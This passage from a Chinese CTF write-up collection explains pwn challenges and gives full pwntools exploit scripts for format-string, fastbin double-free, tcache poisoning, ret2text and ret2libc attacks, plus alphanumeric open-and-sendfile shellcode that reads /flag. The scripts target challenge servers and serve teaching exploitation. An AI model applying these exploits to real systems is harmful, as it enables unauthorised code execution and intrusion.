    # context(log_level = "debug",arch = "amd64",os = 'linux')
    # context(arch = "i386",os = 'linux')
    context(arch = "amd64",os = 'linux')
    ip = '210.44.150.15'; port = '39532'
    
    def connect():
    	global p,elf,libc,libclib,libc_name,file_name,ld,ld_name
    	file_name = './fmt_fmt'
    	ld_name = './ld-linux-x86-64.so.2'
    	local = 0
    	if local:
    		# p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
    		libc_name = './libc.so.6'
    		libclib = cdll.LoadLibrary('./libc.so.6')
    		p = process(file_name)
    	else:
    		libc_name = 'libc.so.6'
    		libclib = cdll.LoadLibrary('./libc.so.6')
    		p = remote(ip,port)
    	ld = ELF(ld_name)
    	elf = ELF(file_name)
    	libc = ELF(libc_name)
    
    s       = lambda data               :p.send(data)
    sl      = lambda data               :p.sendline(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    sla     = lambda x,data             :p.sendlineafter(x, data)
    r       = lambda n                  :p.recv(n)
    rl      = lambda n                  :p.recvline(n)
    ru      = lambda x                  :p.recvuntil(x)
    rud     = lambda x                  :p.recvuntil(x, drop = True)
    uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    ita     = lambda                    :p.interactive()
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    
    def db():
    	gdb.attach(p)
    
    def cmd(idx):
    	sla(b'3. exit\n',str(idx).encode())
    
    def talk(content):
    	sla(b'talk to?\n',b'0')
    	sla(b'what you want to say?',content)
    
    def pwn():
    	cmd(2)
    	# py = b'DDDDDDDD' + b'.%p'*0x9   # 6$
    	py = b'%21$p,%23$p,'
    	talk(py)
    
    	main_pie = 0x13FB
    	backdoor_pie = 0x1267
    
    	# db()    # -> delta_chain = 21  delta_main = 23  delta_aim = 28
    	cmd(2)
    	chain_addr = int(rud(b','),16)
    	main_addr = int(rud(b','),16)
    	elf_base = main_addr - main_pie
    	backdoor_addr = elf_base + backdoor_pie
    	print(hex(elf_base))
    	print(hex(main_addr))
    	print(hex(backdoor_addr))
    	print(hex(chain_addr))
    
    	# db()    # -> main_ret_addr = chain_addr + 0x18
    	main_ret_addr = chain_addr + 0x18
    	for i in tqdm.tqdm(range(3)):
    		py = f"%{(main_ret_addr + i*2)&0xffff}c%21$hn".encode()   # 最后两位可能不同,只修改最后两位为 main_ret
    		talk(py)
    		cmd(2)
    
    		py = f"%{(backdoor_addr>>(i*8*2))&0xffff}c%28$hn".encode() # 每次修改 main_ret 两个字节为 backdoor_addr
    		talk(py)
    		cmd(2)
    	talk(b'A')
    	cmd(3)
    
    	p.interactive()
    
    connect()
    pwn()
    


6※ ez_heap

  • 考点:fastbin attack - double freemalloc_hook

  • 题目附件:ez_heap

  • 检查保护,全开:

    image

  • IDA 分析,一道菜单堆题,存在 Add,Delete,Print 三种功能:

    image

  • 分别分析每个功能的漏洞。在 Add 中发现,不检查堆块数量:

    image

  • 在 Delete 中发现,指针没有清空,存在 UAF 漏洞:

    image

  • Print 函数正常 puts 打印 堆内内容:

    image

  • 我们通过 strings libc.so.6 | grep "libc" 来确定本题的 libc 版本,发现是低版本的 libc-2.23 :

    image

  • 那么先做好堆题的准备,把各个菜单函数写好,然后 patchelf 修改下载下来的附件的 libc 库和 ld 库:

    image

    image

  • 低版本 glibc 没有 tcache 机制,释放的大小为 0x20 ~ 0x80 的堆(含堆头)都会直接进入 fastbin,而大于 0x80 的堆会先进入 unsorted bin。

  • 而由于 unsorted bin 是双向链表管理,只有一个堆的时候,其 fd 和 bk 指针都指向 libc 中的 main_arena 结构体内。

  • 所以此时利用 UAF 漏洞,申请两个 0x80 大小的堆,第二个是为了防止 unsorted bin 释放后向下合并 Top chunk。然后释放掉一个 0x80(含堆头 0x90) 大小的堆进入 unsorted bin,然后调用 Print 输出里面的地址。

    image

  • 接收下来输出的地址后,通过动态调试计算输出的 main_arena 地址与 libc_base 的偏移量:

    image

    image

  • 然后便可以用接收的地址,减去这个偏移量得到 libc_base。

  • 由于存在 UAF,我们可以通过 fastbin attack - double free 实现任意地址申请堆,那么便可以任意地址写。我们可以修改 malloc_hook 的地址为 one_gadget,下次 Add 的时候就可以 get shell。

  • 那么我们计算 malloc_hook 的地址和 one_gadget 的地址:

    delta = 0x7f39bb22db78 - 0x7f39bae69000
    	libc_base = uu64() - delta
    	malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    	one_gadget = [libc_base + x for x in [0x4527a,0xf03a4,0xf1247]]
    
  • 接着在上面多申请两个可以进入 fastbin 的堆,使用 double_free 使得它们指针指向彼此(这里的 0x68 由下一步得到):

    image

    image

  • 由于 fastbin 申请堆的时候需要检查目标堆的大小,那我们动态调试,找一找 malloc_hook 前面是否存在可以伪装成堆的数据。在 -0x1B 的位置发现了一个很干净的 0x7f,刚好满足 fastbin 的大小:

    image

  • 那么我们需要把堆申请在 malloc_hook - 0x23 的位置,这样这个堆的大小为 0x7f 可以使得申请 0x70 大小的堆通过检查:

    image

  • 然后申请 2 个堆,使下一个堆地址为 malloc_hook - 0x23;再申请一个堆并将 malloc_hook 里面的地址写为 one_gadget,测试后 one_gadget[2] 可以使用:

    image

  • 最后再输入 1 申请堆,在程序 malloc 时便会先调用 malloc_hook 里面的函数,使得运行 one_gadget 获得权限:

    image

  • 完整 exp:

    # -*- coding: utf-8 -*-
    from ctypes import *
    from time import *
    from LibcSearcher import LibcSearcher
    from cryptography.utils import int_to_bytes
    from pwn import *
    # context.terminal = ['tmux','splitw','-h']
    # context(log_level = "debug",arch = "amd64",os = 'linux')
    # context(arch = "i386",os = 'linux')
    context(arch = "amd64",os = 'linux')
    ip = '210.44.150.15'; port = '25232'
    
    def connect():
    	global p,elf,libc,libclib,libc_name,file_name,ld,ld_name
    	file_name = './attachment'
    	ld_name = './ld-linux-x86-64.so.2'
    	local = 1
    	if local:
    		# p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
    		libc_name = './libc.so.6'
    		libclib = cdll.LoadLibrary('./libc.so.6')
    		p = process(file_name)
    	else:
    		libc_name = 'libc.so.6'
    		libclib = cdll.LoadLibrary('./libc.so.6')
    		p = remote(ip,port)
    	ld = ELF(ld_name)
    	elf = ELF(file_name)
    	libc = ELF(libc_name)
    
    s       = lambda data               :p.send(data)
    sl      = lambda data               :p.sendline(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    sla     = lambda x,data             :p.sendlineafter(x, data)
    r       = lambda n                  :p.recv(n)
    rl      = lambda n                  :p.recvline(n)
    ru      = lambda x                  :p.recvuntil(x)
    rud     = lambda x                  :p.recvuntil(x, drop = True)
    uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    ita     = lambda                    :p.interactive()
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    
    def db():
    	gdb.attach(p)
    
    def menu(id):
    	sla(b'Your choice :',id)
    
    def Add(size, content):
    	menu(b'1')
    	sa(b'Note size :',str(size).encode())
    	sa(b'Content :',content)
    
    def Show(idx):
    	menu(b'3')
    	sa(b'Index :',str(idx).encode())
    
    def Del(idx):
    	menu(b'2')
    	sa(b'Index :',str(idx).encode())
    
    def pwn():
    	Add(0x80,b'a')  #0 进入 unsorted bin
    	Add(0x60,b'a')  #1 准备 fastbin attack
    	Add(0x60,b'a')  #2 准备 fastbin attack
    	Add(0x80,b'a')  #3 防止合并
    
    	Del(0)
    	Show(0) # UAF 泄露 libc
    
    	# db()  #查找偏移量
    	delta = 0x7f39bb22db78 - 0x7f39bae69000
    	libc_base = uu64() - delta
    	malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    	one_gadget = [libc_base + x for x in [0x4527a,0xf03a4,0xf1247]]
    	print(hex(libc_base))
    	print(hex(malloc_hook))
    	print([hex(x) for x in one_gadget])
    
    	Del(1)  # 放进 fastbin
    	Del(2)  # 指向 chunk1
    	Del(1)  # 指向 chunk2
    	# 此时 fastbin -> chunk1 <-> chunk2
    
    	# db()  #查找 malloc_hook 前可以伪装堆的位置
    	Add(0x60,p64(malloc_hook-0x23)) #0 & 4  -0x1B ~ -0x13 的位置 刚好为 0x7f
    	Add(0x60,b'a')  #1 & 5
    	Add(0x60,b'a')  #0 & 6
    
    	py = b'a'*0x13 + p64(one_gadget[2]) #malloc_hook-0x13 & 7  修改 malloc_hook 为 one_gadget
    	Add(0x68,py)    # 那么我们申请块大小对齐后应为 0x70 此时 0x7f 为合法浮动大小
    
    	menu(b'1')  # 再次 Add 8 即可触发 one_gadget
    	sa(b'Note size :',str(int(0x80)).encode())
    	p.interactive()
    
    connect()
    pwn()
    


7※ ez_tcache

  • 考点:tcacheunsorted bin - 堆重叠free_hook

  • 题目附件:ez_tcache

  • checksec 查看保护,保护全开:

    image

  • IDA64 打开,发现是一道菜单题目,先写好菜单函数:

    image

  • 查看 Add 函数,发现未检查 索引数组 是否为空,可以申请任意多个堆。然后将 数据区 的前 0x20 的数据用来输入一个 tag:

    image

  • del_book 函数里面未检查下标;我们看 magic 函数,这里面的 free 没有把指针清零,存在 UAF 漏洞,那么我们用 magic 函数做 Del:

    image

  • Show 里面也只是不检查下标,并且跳过先前输入的 0x20 的 tag 输出,所以堆释放后我们无法用 Show 来打印里面的 fd 和 bk 指针:

    image

  • 有 Edit 函数,虽然不检查下标,但使用先前记录的长度,也是跳过先前输入的 0x20 的 tag 输出:

    image

  • strings 查看 libc 版本,发现版本为是 2.27,从 libc 2.27 开始,引入了 tcache 机制,释放的堆大小为 0x20 - 0x410 (含堆头)时,会进入 tcache 缓存。

    image

  • 由于本题的 Show 无法泄露 libc,但是存在 UAF 漏洞,我们可以用 unsorted bin 的机制来构造一个简单的堆重叠:

  • 我们可以让一个 0x3ff 进入 unsorted bin,此后再申请堆会优先从这个堆上分割,然后我们再申请 3 个堆就会在 0x3ff 的堆上,释放第二个堆进入 unsorted bin,就可以通过 UAF 来泄露 第二个堆的 fd 来泄露 libc 了。


  • 由于每一种大小的堆 tcache 机制最多缓存 7 个,我们要使堆进入 unsorted bin 的话需要先释放 7个 相同大小的堆,先把 tcache 填满。

  • 那么我们申请 9个 0x3ff 的堆,先释放 7 个填满 tcache,第 8 个进入 unsorted bin 可以泄露 libc 基址,第 9 个堆用来隔离 top chunk 防止 unsorted bin 向下合并:

    for i in range(9):  # 0~8
    	Add(i,0x3ff,b'a')
    
    for i in range(7):  # 填满 tcache
    	Del(i)
    Del(7)  # 进入 unsorted bin
    
  • 然后堆重叠可以用 大堆 修改 小堆的 fd 和 bk,那么如果小堆有一个在 tcache 里,就可以控制下一个堆申请的位置,实现任意地址写的操作。又因为我们需要小堆能够进入 unsorted bin 而不会在 tcache 满了之后进入 fastbin,且方便修改下一个堆的 size,申请小堆大小为 0x88,末尾向 8 对齐:

    for i in range(9):  # 0~8
    Add(i,0x3ff,b'a')
    for i in range(7):  # 填满 0x400(不含堆头) 的 tcache
    	Del(i)
    
    for i in range(6):  # 提前申请,不分割 unsorted
    	Add(i,0x88,b'b')
    	Del(7)  # 进入 unsorted bin			Add(6,0x88,b'b')    # 用于堆重叠后 UAF 泄露和修改后续的堆
    	Add(8,0x88,b'b')    # 释放后进入 unsorted bin
    	Add(9,0x88,b'b')    # 释放后处于 tcache 第一个
    
    for i in range(6):  # 填充 0x90(不含堆头) 的 tcache
    	Del(i)
    	Del(9)  # 填满 0x90(不含堆头) 的 tcache
    	Del(8)  # 进入 unsorted bin
    
  • 此时的堆结构:

    image

  • 最后一个 unsorted bin 内的 bk 指针会指向 main_arena,那么我们可以通过 chunk7 来填充泄露 chunk8 的 bk,再通过动态调试计算偏移量,便可以泄露 libc_base:

    py = b'a' * 0x78
    Edit(7,py)
    Show(7)
    # db()    #确定 main_arena 与 libc_base 的偏移量
    ru(b'a'*0x78)
    delta =  0x7f2ca1f3aca0 - 0x7f2ca1b4f000
    libc_base = uu64() - delta
    one_gadget = [libc_base + x for x in [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]]
    print(hex(libc_base))
    print([hex(x) for x in one_gadget])
    
  • 然后通过 chunk7 来修改 tcache 第一个堆 chunk9 (后入先出)的 fd 指针为 free_hook,接着申请两次相同大小的堆就会分配到 free_hook 上,紧接着就可以修改 free_hook 为 one_gadget。

  • 由于 tcache 分配机制只看 fd 指针,不对 当前堆大小 和 目标堆大小 进行任何检查,并且 tcache 指针指向堆的数据区,所以我们修改 chunk9 的 fd 指针为 free_hook - 0x20 即可:

    py = b'a' * (0x60 + 0x90 + 0x10) + p64(free_hook_addr-0x20) # tcache 的 fd 指针指向堆的数据区
    Edit(7,py)  # tcache 只看指针,不对大小进行任何检查
    Add(10,0x88,b'c')
    Add(11,0x88,b'c')   # 分配在 free_hook
    Edit(11,p64(one_gadget[2])) # 修改 free_hook 为 one_gadget
    Del(0)  # get shell
    
  • 完整 exp,由于远程链接较慢,需耐心等待,建议先在本地打通:

    # -*- coding: utf-8 -*-
    from ctypes import *
    from time import *
    import tqdm
    from LibcSearcher import LibcSearcher
    from cryptography.utils import int_to_bytes
    from pwn import *
    # context.terminal = ['tmux','splitw','-h']
    # context(log_level = "debug",arch = "amd64",os = 'linux')
    # context(arch = "i386",os = 'linux')
    context(arch = "amd64",os = 'linux')
    ip = '210.44.150.15'; port = '41736'
    
    def connect():
    	global p,elf,libc,libclib,libc_name,file_name,ld,ld_name
    	file_name = './ez_tcache'
    	ld_name = './ld-linux-x86-64.so.2'
    	local = 0
    	if local:
    		# p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
    		libc_name = './libc.so.6'
    		libclib = cdll.LoadLibrary('./ld-linux-x86-64.so.2')
    		p = process(file_name)
    	else:
    		libc_name = 'libc.so.6'
    		libclib = cdll.LoadLibrary('./ld-linux-x86-64.so.2')
    		p = remote(ip,port)
    	ld = ELF(ld_name)
    	elf = ELF(file_name)
    	libc = ELF(libc_name)
    
    s       = lambda data               :p.send(data)
    sl      = lambda data               :p.sendline(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    sla     = lambda x,data             :p.sendlineafter(x, data)
    r       = lambda n                  :p.recv(n)
    rl      = lambda n                  :p.recvline(n)
    ru      = lambda x                  :p.recvuntil(x)
    rud     = lambda x                  :p.recvuntil(x, drop = True)
    uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    ita     = lambda                    :p.interactive()
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    
    def db():
    	gdb.attach(p)
    
    def cmd(idx):
    	sla(b'4. edit',str(idx).encode())
    
    def Add(idx,size,tag):
    	cmd(1)
    	sla(b'Index: \n',str(idx).encode())
    	sla(b'Size: \n',str(size).encode())
    	sa(b'please input the tag: \n',tag)
    
    def Del(idx):
    	cmd(0xffff)
    	sla(b'Index: \n',str(idx).encode())
    
    def Show(idx):
    	cmd(3)
    	sla(b'Index: \n',str(idx).encode())
    
    def Edit(idx,content):
    	cmd(4)
    	sla(b'Index: \n',str(idx).encode())
    	s(content)
    
    def pwn():
    	print("----fill tcache----")
    	for i in range(9):  # 0~8
    		Add(i,0x3ff,b'a')
    	for i in range(7):  # 填满 0x400(不含堆头) 的 tcache
    		Del(i)
    
    	print("----chunk overlap----")
    	for i in range(6):  # 提前申请,不分割 unsorted
    		Add(i,0x88,b'b')
    	Del(7)  # 进入 unsorted bin
    	Add(6,0x88,b'b')    # 用于堆重叠后 UAF 泄露和修改后续的堆
    	Add(8,0x88,b'b')    # 释放后进入 unsorted bin
    	Add(9,0x88,b'b')    # 释放后处于 tcache 第一个
    
    	for i in range(6):  # 填充 0x90(不含堆头) 的 tcache
    		Del(i)
    	Del(9)  # 填满 0x90(不含堆头) 的 tcache
    	Del(8)  # 进入 unsorted bin
    
    	print("----leak libc_base----")
    	py = b'a' * 0x78
    	Edit(7,py)
    	Show(7)
    	# db()    #确定 main_arena 与 libc_base 的偏移量
    	ru(b'a'*0x78)
    	delta =  0x7f2ca1f3aca0 - 0x7f2ca1b4f000
    	libc_base = uu64() - delta
    	free_hook_addr = libc_base + libc.symbols["__free_hook"]
    	one_gadget = [libc_base + x for x in [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]]
    	print(hex(libc_base))
    	print(hex(free_hook_addr))
    	print([hex(x) for x in one_gadget])
    
    	print("----free_hook attack----")
    	py = b'a' * (0x60 + 0x90 + 0x10) + p64(free_hook_addr-0x20) # tcache 的 fd 指针指向堆的数据区
    	Edit(7,py)  # tcache 只看指针,不对大小进行任何检查
    	Add(10,0x88,b'c')
    	Add(11,0x88,b'c')   # 分配在 free_hook
    	Edit(11,p64(one_gadget[2])) # 修改 free_hook 为 one_gadget
    	Del(10)  # get shell
    
    	p.interactive()
    
    connect()
    pwn()
    


HUBUCTF 2024

1※ nc-test

  • 考点:ls -la

  • 使用 pwntools 工具连上后直接进入了交互界面,ls -la 一下看看一共有什么文件:

    image

  • 发现有一个隐藏的 .flag 文件,cat .flag 获得 flag:

    image

1※ 斯塔克

  • 考点:ret2text

  • checksec 检查保护,发现没保护:

    image

  • 检查漏洞函数,在 main 里第二个 read 存在栈溢出:

    image

  • 左侧 got 表里有 system 函数:

    image

  • 我们可以往一个全局变量(地址已知)里写入数据:

    image

  • 那么我们可以第一个 read 往 bss 里面写入 /bin/sh\x00,然后第二个 read 栈溢出覆盖程序的返回地址,用 rdi 传参执行 system("/bin/sh")

  • 用 ropper 工具查找 pop rdi;retret 的地址:

    ropper --file 2 --search "pop|ret" | grep "rdi"

    ropper --file 2 --search "ret"

    image

  • 注意 64位 程序平衡栈(rsp 的末位对对齐 0)加一个 ret,写出完整 exp:

    # -*- coding: utf-8 -*-
    from ctypes import *
    from platform import system
    from time import *
    import tqdm
    from LibcSearcher import LibcSearcher
    from cryptography.utils import int_to_bytes
    from pwn import *
    from sympy.abc import delta
    # context.terminal = ['tmux','splitw','-h']
    # context(log_level = "debug",arch = "amd64",os = 'linux')
    # context(arch = "i386",os = 'linux')
    context(arch = "amd64",os = 'linux')
    ip = 'challenge.hubuctf.cn'; port = '31845'
    
    # patchelf --set-interpreter ./xxxxld ./2
    # patchelf --replace-needed libc.so.6 ./xxxxlibc ./2
    def connect():
       global p,elf,libc,libclib,libc_name,file_name,ld,ld_name
       file_name = './2'
       # ld_name = './ld-2.31.so'
       local = 0
       if local:
       	# p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
       	# libc_name = './libc-2.31.so'
       	# libclib = cdll.LoadLibrary('./libc-2.31.so')
       	p = process(file_name)
       else:
       	# libc_name = 'libc-2.31.so'
       	# libclib = cdll.LoadLibrary('./libc-2.31.so')
       	p = remote(ip,port)
       	elf = ELF(file_name)
       	# ld = ELF(ld_name)
       	# libc = ELF(libc_name)
    
    s       = lambda data               :p.send(data)
    sl      = lambda data               :p.sendline(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    sla     = lambda x,data             :p.sendlineafter(x, data)
    r       = lambda n                  :p.recv(n)
    rl      = lambda n                  :p.recvline(n)
    ru      = lambda x                  :p.recvuntil(x)
    rud     = lambda x                  :p.recvuntil(x, drop = True)
    uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    ita     = lambda                    :p.interactive()
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    pad     = lambda *args              :bytes.join(b'',[p64(x) for x in args])
    
    def db():
       gdb.attach(p)
    
    def pwn():
       system_addr = elf.plt["system"]
       bin_sh_addr = 0x404080
       pop_rdi_ret = 0x401170
       ret = 0x401016
    
       py = b'/bin/sh\x00'
       sl(py)
    
       py = b'a' * 0x40 + b'A' * 0x08 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr)
       sl(py)
    
       p.interactive()
       connect()
       pwn()
    

3※ ShallWeLeak

  • 考点:rand 伪随机ret2libc

  • checksec 检查保护,开了 Canary:

    image

  • 发现程序第一个 read 存在格式化字符串漏洞,可以用来泄露 Canary:

    image

  • 先用 py = b'DDDD' + b'.%x'*8 测试偏移量为 8:

    image

  • 根据 IDA 里提示变量的相对位置计算 Canary 的偏移量为 17:

    image

  • 泄露后接收:

        py = b'%17$p'
        s(py)
    
        ru(b'Hello ')
        canary = int(rud(b'You'),16)
        print(hex(canary))
    
  • 下面需要输入一个数字等于先前 rand 的随机值,我们知道 rand 是根据种子的伪随机,题目又给了 libc 库,那么我们使用题目所给的 libc 库在同一时间 srand 一个种子,就可以 rand 随机到相同的值:

    image

  • 那么用 cdll.LoadLibrary('./libc.so.6') 导入 libc 库后获得相同的数字:

    a = time.time()
    libclib.srand(int(a))
    key = libclib.rand()
    
  • 进入 if 后存在一个栈溢出,发现左边没有 system,那么我们需要进行 ret2libc,第一次栈溢出泄露 puts 函数的地址,然后泄露 libc;第二次溢出获得权限:

  • 需要注意的是第一次返回 main 后,需要重新 srand 一遍,由于网络存在延迟,有时候本地时间与服务器时间不一样会导致无法通过,要多运行试几次(我连接了 30 多次):

    # -*- coding: utf-8 -*-
    from ctypes import *
    import time
    import tqdm
    from LibcSearcher import LibcSearcher
    from cryptography.utils import int_to_bytes
    from pwn import *
    from sympy.abc import delta
    # context.terminal = ['tmux','splitw','-h']
    # context(log_level = "debug",arch = "amd64",os = 'linux')
    # context(arch = "i386",os = 'linux')
    context(arch = "amd64",os = 'linux')
    ip = 'challenge.hubuctf.cn'; port = '31765'
    
    # patchelf --set-interpreter ./xxxxld ./3
    # patchelf --replace-needed libc.so.6 ./xxxxlibc ./3
    def connect():
    	global p,elf,libc,libclib,libc_name,file_name,ld,ld_name
    	file_name = './3'
    	# ld_name = './ld-2.31.so'
    	local = 0
    	if local:
    		# p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
    		libc_name = './libc.so.6'
    		libclib = cdll.LoadLibrary('./libc.so.6')
    		p = process(file_name)
    	else:
    		libc_name = 'libc.so.6'
    		libclib = cdll.LoadLibrary('./libc.so.6')
    		p = remote(ip,port)
    		elf = ELF(file_name)
    		# ld = ELF(ld_name)
    		libc = ELF(libc_name)
    
    s       = lambda data               :p.send(data)
    sl      = lambda data               :p.sendline(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    sla     = lambda x,data             :p.sendlineafter(x, data)
    r       = lambda n                  :p.recv(n)
    rl      = lambda n                  :p.recvline(n)
    ru      = lambda x                  :p.recvuntil(x)
    rud     = lambda x                  :p.recvuntil(x, drop = True)
    uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    ita     = lambda                    :p.interactive()
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    pad     = lambda *args              :bytes.join(b'',[p64(x) for x in args])
    
    def db():
    	gdb.attach(p)
    
    def pwn():
    	puts_got = elf.got["puts"]
    	puts_plt = elf.plt["puts"]
    	main_addr = 0x4011B1
    	pop_rdi_ret = 0x04011aa
    	ret = 0x401016
    
    	a = time.time()
    	libclib.srand(int(a))
    	key = libclib.rand()
    
    	# py = b'DDDD' + b'.%x'*8
    	py = b'%17$p'
    	s(py)
    
    	ru(b'Hello ')
    	canary = int(rud(b'You'),16)
    	print(hex(canary))
    
    	sl(str(key).encode())
    
    	py = b'a' * 0x28 + p64(canary) + b'A' * 0x08 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    	sl(py)
    
    	ru(b' learn pwn\n')
    	puts_addr = uu64()
    	libc_base = puts_addr - libc.symbols["puts"]
    	system_addr = libc_base + libc.symbols["system"]
    	bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
    	# one_gadget = [libc_base + x for x in one_gadget]
    	leak("libc_base",libc_base)
    	leak("puts_addr",puts_addr)
    	leak("system_addr",system_addr)
    	leak("bin_sh_addr",bin_sh_addr)
    	# print([hex(x) for x  in one_gadget])
    
    	a = time.time()
    	sl(b'111')
    	libclib.srand(int(a))
    	key = libclib.rand()
    	sl(str(key).encode())
    
    	py = b'a' * 0x28 + p64(canary) + b'A' * 0x08 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr)
    	sl(py)
    
    	p.interactive()
    connect()
    pwn()
    


MoeCTF 2024

2※ leak_sth

  • 考点:格式化字符串漏洞

  • 题目链接:leak_sth

  • 拖进 IDA64,点左侧 main,F5 反汇编,发现存在 printf 格式化字符串漏洞:

    image

  • 那么可以先输出来看看偏移量是多少,由于 buf 最多只允许输入 32个字节,构造输入为 b'DDDD'+b'.%x'*9

    image

  • 运行数一下,发现偏移 8 个的时候刚好为 buf 的开头:

    image

  • 继续分析题目,要求我们接下来输入的数字等于 v3,那么我们只需要利用格式化输出,将 v3 里面的值输出来就好了,查看一下 main 的栈里 v3 与 buf 的位置关系,发现就在正上方一个字节:

    image

  • 那么我们构造 payload 来格式化 %d 输出偏移量为 7 的位置:

    image

  • 运行,发现已经把 v3 输出出来了,我们直接复制输入即可获得系统权限,cat flag 一下获得 flag:

    image


GCBCTF 2024

4※ Alpha_Shell

  • 考点:orw纯字符 shellcode

  • checksec 检查保护,保护全开:

    image

  • IDA64 分析,发现有脏数据,patch 掉:

    image

  • 还是不能反编译,显示不是一个函数。在 main 的入口处,点左上角 编辑-函数-创建函数,然后就可以反编译了:

    image

  • 稍微逆向一下发现,程序要求输入一个只有 大小写字母和数字 的字符串,经过 沙盒 保护一下,执行输入的字符串。

  • 我们看一下沙盒的细节,程序最多输入 0x150 个字节,我们输入 0x150 个 a 来填满,然后就可以显示具体规则了。发现execve,execveat 被过滤了,我们不能获得权限,只能走 orw:

    image

  • 又发现 read,write,open,wirtev,readv,都被过滤了,但是我们仍然可以用 openat 来代替 open,用 sendfile 来代替 read和write:

    py = """
    	mov rax, 0x0067616c662f     /* 倒着的 /flag 压在栈顶 */
    	push rax                
    	mov rsi, rsp                /* 第二个为文件名的地址 */
    	xor rdi, rdi                /* 第一个为 0 */
    	xor rdx, rdx                /* 第三个为 0 */
    	xor r10, r10                /* 第四个为 0 */
    	mov rax, 257         
    	syscall                     /* openat(0,'/flag',0,0) */
    	mov rsi, rax        /* 第二个参数为 读入的文件,openat 返回一个 文件描述符在 ax 中, */
    	mov rax, 40         
    	mov rdi, 1          /* 第一个参数为 1:输出的文件 */
    	xor rdx, rdx        /* 第三个参数为 0 */
    	mov r10, 0x50       /* 第四个参数为 长度 */
    	syscall             /* sendfile(1,'/flag',0,0x50) */
    """
    
  • 最后用 AE64 的时候我们需要知道,栈溢出时 哪个寄存器的值 + 偏移量 = shellcode 基址。经过尝试 rcx 和 rdx,偏移 0 都可以。由于只能输入 0x150 个字符,我们用 fast 模式发现长度为 0x13b 合适:

    py = AE64().encode(asm(py),'rdx',0,'fast')
    print(hex(len(py)))
    
  • 完整 exp:

    from ShallowDreamTools import *
    from ae64 import AE64
    Pwn.init(Url="125.70.243.22:31241",File="attachment",log_level="INFO")
    Pwn.connect()
    
    py = """
    	mov rax, 0x0067616c662f     /* 倒着的 /flag 压在栈顶 */
    	push rax                
    	mov rsi, rsp                /* 第二个为文件名的地址 */
    	xor rdi, rdi                /* 第一个为 0 */
    	xor rdx, rdx                /* 第三个为 0 */
    	xor r10, r10                /* 第四个为 0 */
    	mov rax, 257         
    	syscall                     /* openat(0,'/flag',0,0) */
    	mov rsi, rax        /* 第二个参数为 读入的文件,openat 返回一个 文件描述符在 ax 中, */
    	mov rax, 40         
    	mov rdi, 1          /* 第一个参数为 1:输出的文件 */
    	xor rdx, rdx        /* 第三个参数为 0 */
    	mov r10, 0x50       /* 第四个参数为 长度 */
    	syscall             /* sendfile(1,'/flag',0,0x50) */
    """
    
    py = AE64().encode(asm(py),'rdx',0,'fast')
    print(hex(len(py)))
    s(py)
    
    ita()
    


6※ Offensive_Security

  • 考点:fmt

  • checksec 检查保护,发现只开了 NX:

    image

  • IDA64 打开,发现 main 里很简单:

    image

  • 但是这个程序把几个程序封装到 libc 中了,这使得我们的 puts,read 等函数的 plt-got 表没有加载进 elf 中,只有 login 等函数:

    image

  • 我们把题目给的 libc 也拖进 IDA64 中分析,可以找到刚才的 login 函数中存在 fmt 漏洞:

    image

  • 程序需要我们的输入与由随机数 v5 生成的 password 相同的字符串,那么我们可以先泄露出 v5,然后就可以分别计算出 password 的 8 个字节:

    image

  • 由于只能输入 0x10 个字符,我们先用 DDDDDDDD%7$p 开始一个个测试偏移量,在 %8$p 的时候发现输出了 0x44444444,说明偏移量为 8。

  • 那么输出偏移量为 13 的位置就是 v5 的值了,从而可以计算 password:

    # py = b'DDDDDDDD'+b'%8$p'  # 8
    py = b'%13$p'
    s(py)
    
    ru(b'0x')
    v5 = int(rud(b'[!]')[:-8],16)
    print(hex(v5))
    ans = ((v5>>24)&0xff) + (((v5>>16)&0xff)<<8) + (((v5>>8)&0xff)<<16) + ((v5&0xff)<<24)
    ans = long_to_bytes(ans)[::-1] * 2
    s(ans)
    
  • 成功登入后会执行 main 里面的 vuln 函数,里面创建了两个进程同时执行 checker 和 guess 函数:

    image

  • checker 函数中需要我们的输入与一个全局变量 authenticantion_code 相同,然后就可以执行 shell 函数:

    image

  • 而 guess 函数中可以让我们往 authenticantion_code 里读入一个值:

    image

  • 那么我们快速地输入两次相同的数字,就可以在 checker 检查之前将 authenticantion_code 里面变成我们输入的值,完成绕过:

    sl(b'1')
    sl(b'1')
    
  • 最后的 shell 函数中存在栈溢出:

    image

  • 但是由于我们的 elf 文件中没有 puts,write,read 等各种函数,无法用来输出泄露 libc,从而我们没有办法打 ret2libc。

